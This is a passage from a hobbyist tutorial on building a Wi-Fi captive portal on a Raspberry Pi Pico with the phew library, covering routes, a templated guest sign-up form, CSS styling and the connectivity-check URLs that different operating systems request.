  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hello from Raspberry Pico&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;text/html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="nd"&gt;@server.catchall&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;catchall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Not found&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;starting ...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;ap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;access_point&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SSID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ifconfig&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;access point ip: #&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To run this code, you can create a &lt;code&gt;main.py&lt;/code&gt; file in the projects root directory with this code as its content, or just click on the Run button. Once the script is started, the local endpoint becomes available. Connect to it, then open &lt;code&gt;http://192.168.4.1&lt;/code&gt; in your browser.&lt;/p&gt;

&lt;p&gt;The Thonny terminal prints a simplified access log:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;starting ...
access point ip: &lt;span class="c"&gt;#192.168.4.1&lt;/span&gt;
2024-09-29 15:07:56 &lt;span class="o"&gt;[&lt;/span&gt;info     / 162kB] &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; starting web server on port 80
2024-09-29 15:08:58 &lt;span class="o"&gt;[&lt;/span&gt;info     / 153kB] &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; GET / &lt;span class="o"&gt;(&lt;/span&gt;200 OK&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;284ms]
2024-09-29 15:08:58 &lt;span class="o"&gt;[&lt;/span&gt;info     / 162kB] &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; GET /favicon.ico &lt;span class="o"&gt;(&lt;/span&gt;404 Not Found&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;29ms]
2024-09-29 15:09:42 &lt;span class="o"&gt;[&lt;/span&gt;info     / 155kB] &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; GET /menu.html &lt;span class="o"&gt;(&lt;/span&gt;404 Not Found&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;278ms]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Rendering a Web Page
&lt;/h2&gt;

&lt;p&gt;Phew also supports templated web pages. Let’s use this feature to show a web page with a form asking for the users e-mail address and name.&lt;/p&gt;

&lt;p&gt;In the Pico’s filesystem, create the file &lt;code&gt;www/index.html&lt;/code&gt; with this content:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;html&lt;/span&gt; &lt;span class="na"&gt;lang=&lt;/span&gt;&lt;span class="s"&gt;"en"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;charset=&lt;/span&gt;&lt;span class="s"&gt;"UTF-8"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"viewport"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"width=device-width, initial-scale=1.0"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;{{ title }}&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;link&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"stylesheet"&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"style.css"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;{{ title }}&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"#"&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"post"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Email:&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;

        &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"name"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Name:&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"name"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"name"&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;

        &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"surname"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Surname:&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"surname"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"surname"&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;

        &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"checkbox"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"agree"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"agree"&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"agree"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;I agree to the terms and conditions&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;

        &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"Submit"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, in the phew app, change the source code to include the template and forward the &lt;code&gt;title&lt;/code&gt; parameter. Change the &lt;code&gt;start_portal&lt;/code&gt; method as shown:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;phew&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;template&lt;/span&gt;

&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;www/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/index.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;start_portal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;template&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;index.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Guest Wifi&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The template is rendered - but without any styling, this looks rather untrustworthy.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxbtfw1fe4yfjk78jhzsm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxbtfw1fe4yfjk78jhzsm.png" width="291" height="314"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Serving CSS
&lt;/h2&gt;

&lt;p&gt;Let’s add additional styling. Create the file &lt;code&gt;www/style.css&lt;/code&gt; with this content:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nt"&gt;body&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;flex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;justify-content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;center&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;align-items&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;center&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;flex-direction&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;column&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;100vh&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;margin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#f0f0f0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nc"&gt;.box&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;*&lt;/span&gt;&lt;span class="nd"&gt;:first-child&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;align-self&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;stretch&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nc"&gt;.form-container&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;400px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;400px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;20px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;margin-top&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;50px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#ffffff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;box-shadow&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;4px&lt;/span&gt; &lt;span class="m"&gt;10px&lt;/span&gt; &lt;span class="n"&gt;rgba&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0.1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;8px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;input&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;"text"&lt;/span&gt;&lt;span class="o"&gt;],&lt;/span&gt;
&lt;span class="nt"&gt;input&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;"email"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;100%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;8px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;margin-bottom&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;5px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;border&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1px&lt;/span&gt; &lt;span class="nb"&gt;solid&lt;/span&gt; &lt;span class="m"&gt;#ccc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;4px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;input&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;"checkbox"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;margin-right&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;5px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;input&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;"submit"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;100%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;10px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#007bff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="no"&gt;white&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;border&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;none&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;4px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;pointer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;input&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;"submit"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="nd"&gt;:hover&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#0056b3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To serve the CSS, a new route is required too:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/style.css&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;style&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;template&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;style.css&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Content-Type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;text/css&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the site looks like a proper portal:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftdwrydfe7i6osysziojn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftdwrydfe7i6osysziojn.png" width="398" height="470"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Client-Specific Routes
&lt;/h2&gt;

&lt;p&gt;Each client device - Android phones, iPhones, Windows/Linux/OsX laptops, require specific URL paths and expects a specific status code to "negotiate" with the captive portal.&lt;/p&gt;

&lt;p&gt;According to the original article that provided the idea, and the &lt;a href="https://en.wikipedia.org/wiki/Captive_portal#Detection" rel="noopener noreferrer"&gt;Wikipedia page&lt;/a&gt;, the following rules need to be kept:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;OsX: &lt;code&gt;/hotspot-detect.html&lt;/code&gt; with the plain text content "Success"&lt;/li&gt;
&lt;li&gt;Android: &lt;code&gt;/generate_204&lt;/code&gt; with status code 204 and no content&lt;/li&gt;
&lt;li&gt;Windows: &lt;code&gt;/redirect&lt;/code&gt; with no content, and two routes that are accessed to test if the connected hotspot is a captive portal: &lt;code&gt;/connecttest.txt&lt;/code&gt; with the plain text content "Microsoft Connect Test", and &lt;code&gt;/ncsi.txt&lt;/code&gt; with "Microsoft NCSI" to cover current and past Windows versions,&lt;/li&gt;
&lt;li&gt;Linux: For gnome-based desktops &lt;code&gt;/check_network_status.txt&lt;/code&gt; with the plain text message "NetworkManager is online", and for KDE that’s &lt;code&gt;/&lt;/code&gt; with &lt;code&gt;OK&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;During tryout with Android and OsX, I found that returning the mentioned text content is not important, the presence of the route is sufficient. Also, browsers might request additional routes, for example a Firefox browser tries to resolve &lt;code&gt;/canonical.html&lt;/code&gt;. However, if this route is not present, it also does not interfere with the portal workflow process.&lt;/p&gt;

&lt;p&gt;Therefore, to implement the captive portal functions, a redirect to the portal landing page is implemented for the main routes, and other routes jus return a positive status code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
